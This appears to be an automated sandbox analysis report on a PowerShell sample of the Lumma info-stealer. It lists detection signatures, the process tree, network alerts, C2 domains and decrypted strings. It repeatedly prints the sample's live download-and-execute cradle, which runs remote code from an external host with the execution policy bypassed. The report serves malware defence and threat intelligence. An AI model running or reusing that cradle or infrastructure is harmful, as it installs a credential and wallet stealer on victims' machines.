Edit tour

Windows Analysis Report
lumma.ps1

Overview

General Information

Sample name:	lumma.ps1
Analysis ID:	1582291
MD5:	e68c88b1be041d41149461edef165243
SHA1:	1b15c0f200880630b8a7c5d7d8f4e54a54a8171e
SHA256:	15f7511803399243beafdaecbc4cb3ad0dc25f97d9fafc6bead3147fdfbb3d66
Tags:	ps1user-zhuzhu0009
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains potential unpacker

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7432 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7792 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7652 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["advicebedsu.click", "screwamusresz.buzz", "inherineau.buzz", "scentniej.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "appliacnesot.buzz"], "Build id": "yJEcaG--singl5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2613418529.0000000006E60000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: powershell.exe PID: 7432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7432	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x10ef06:$b1: ::WriteAllBytes( 0x10f82b:$b1: ::WriteAllBytes( 0x41efd:$s1: -join 0x46e08:$s1: -join 0x10b448:$s1: -join 0x10efbc:$s1: -join 0x10f8e1:$s1: -join 0x123813:$s1: -join 0x147e8a:$s1: -join 0x183bdc:$s1: -join 0x190cb1:$s1: -join 0x194083:$s1: -join 0x194735:$s1: -join 0x196226:$s1: -join 0x19842c:$s1: -join 0x198c53:$s1: -join 0x1994c3:$s1: -join 0x199bfe:$s1: -join 0x199c30:$s1: -join 0x199c78:$s1: -join 0x199c97:$s1: -join
Process Memory Space: powershell.exe PID: 7792	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7792	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc61ea1:$b2: ::FromBase64String( 0x3ae71:$s1: -join 0x47f46:$s1: -join 0x4b318:$s1: -join 0x4b9ca:$s1: -join 0x4d4bb:$s1: -join 0x4f6c1:$s1: -join 0x4fee8:$s1: -join 0x50758:$s1: -join 0x50e93:$s1: -join 0x50ec5:$s1: -join 0x50f0d:$s1: -join 0x50f2c:$s1: -join 0x5177c:$s1: -join 0x518f8:$s1: -join 0x51970:$s1: -join 0x51a03:$s1: -join 0x51c69:$s1: -join 0x53dff:$s1: -join 0x62849:$s1: -join 0x77f91:$s1: -join
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.powershell.exe.6e60000.0.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7432.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7792.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7432, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , ProcessId: 7792, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Download and Execute Pattern

Source: Process started

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7432, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , ProcessId: 7792, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7432, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , ProcessId: 7792, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7432, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , ProcessId: 7792, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ProcessId: 7432, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7432, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))} , ProcessId: 7792, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T09:19:23.830003+0100	2028371	3	Unknown Traffic	192.168.2.4	49916	104.21.84.241	443	TCP
2024-12-30T09:19:24.745174+0100	2028371	3	Unknown Traffic	192.168.2.4	49922	104.21.84.241	443	TCP
2024-12-30T09:19:25.981846+0100	2028371	3	Unknown Traffic	192.168.2.4	49930	104.21.84.241	443	TCP
2024-12-30T09:19:26.985741+0100	2028371	3	Unknown Traffic	192.168.2.4	49940	104.21.84.241	443	TCP
2024-12-30T09:19:28.097403+0100	2028371	3	Unknown Traffic	192.168.2.4	49947	104.21.84.241	443	TCP
2024-12-30T09:19:29.202231+0100	2028371	3	Unknown Traffic	192.168.2.4	49956	104.21.84.241	443	TCP
2024-12-30T09:19:30.566083+0100	2028371	3	Unknown Traffic	192.168.2.4	49965	104.21.84.241	443	TCP
2024-12-30T09:19:32.495395+0100	2028371	3	Unknown Traffic	192.168.2.4	49977	104.21.84.241	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T09:19:24.289204+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49916	104.21.84.241	443	TCP
2024-12-30T09:19:25.342316+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49922	104.21.84.241	443	TCP
2024-12-30T09:19:32.940364+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49977	104.21.84.241	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T09:19:24.289204+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49916	104.21.84.241	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T09:19:25.342316+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49922	104.21.84.241	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T09:19:26.529167+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49930	104.21.84.241	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.2.powershell.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["advicebedsu.click", "screwamusresz.buzz", "inherineau.buzz", "scentniej.buzz", "prisonyfork.buzz", "rebuildeso.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "appliacnesot.buzz"], "Build id": "yJEcaG--singl5"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Sample uses string decryption to hide its real strings

Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: advicebedsu.click
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: yJEcaG--singl5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_004157C0 CryptUnprotectData,

8_2_004157C0

Source: unknown	HTTPS traffic detected: 104.21.72.190:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49977 version: TLS 1.2

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3A02Fh	2_2_06D39C99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3A02Fh	2_2_06D39CA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3CDC1h	2_2_06D3CA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3CDC1h	2_2_06D3CA30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3A473h	2_2_06D3A3F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 06D3A473h	2_2_06D3A3E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	8_2_00408A50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00421A10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042D34A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, ebx	8_2_00427440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	8_2_00427440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	8_2_0040CC7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ebx	8_2_00408600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	8_2_00441720
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0042C850
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push esi	8_2_0040C805
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_00422830
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	8_2_0043C830
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	8_2_004290D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042E0DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0041D8D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0041D8D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042C0E6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	8_2_0041B8F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	8_2_0041B8F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042C09E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, ebx	8_2_0041C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	8_2_0041C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	8_2_0041C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	8_2_0041C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0041D8AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0041D8AC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042C09E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	8_2_00441160
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [00446130h]	8_2_00418169
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	8_2_0042B170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0042D17D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0042D116
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_004281CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_004289E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], al	8_2_0042B980
